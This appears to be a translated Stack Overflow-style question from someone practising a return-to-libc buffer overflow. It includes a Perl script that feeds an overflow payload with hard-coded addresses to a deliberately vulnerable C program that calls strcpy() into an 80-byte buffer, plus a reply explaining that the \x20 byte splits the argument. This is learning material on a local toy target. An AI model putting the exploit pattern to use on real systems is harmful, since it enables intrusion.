3
我搞砸了緩衝區溢出,我試圖執行返回到libc漏洞。爲了幫助我,我設計了以下perl腳本:正確的方式來傳遞十六進制字符作爲參數 - 系統()
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "count: $i\n";
system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf");
}
這裏是我的目標代碼(./vuln
):
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
printf("%d\n%s\n", strlen(argv[1]), argv[1]);
getchar();
strcpy(buffer, argv[1]);
return 1;
}
這是腳本的輸出:
count: 1
1
A
count: 2
2
AA
count: 3
3
AAA
count: 4
4
AAAA
count: 5
5
AAAAA
這表示沒有連接最後一個字符串的部分(包含大量十六進制字符的字符串)作爲參數成功傳遞。
我在這裏做錯了什麼?
'\ x20'是一個空間,所以在這之後它的argv [2] – PSIAlt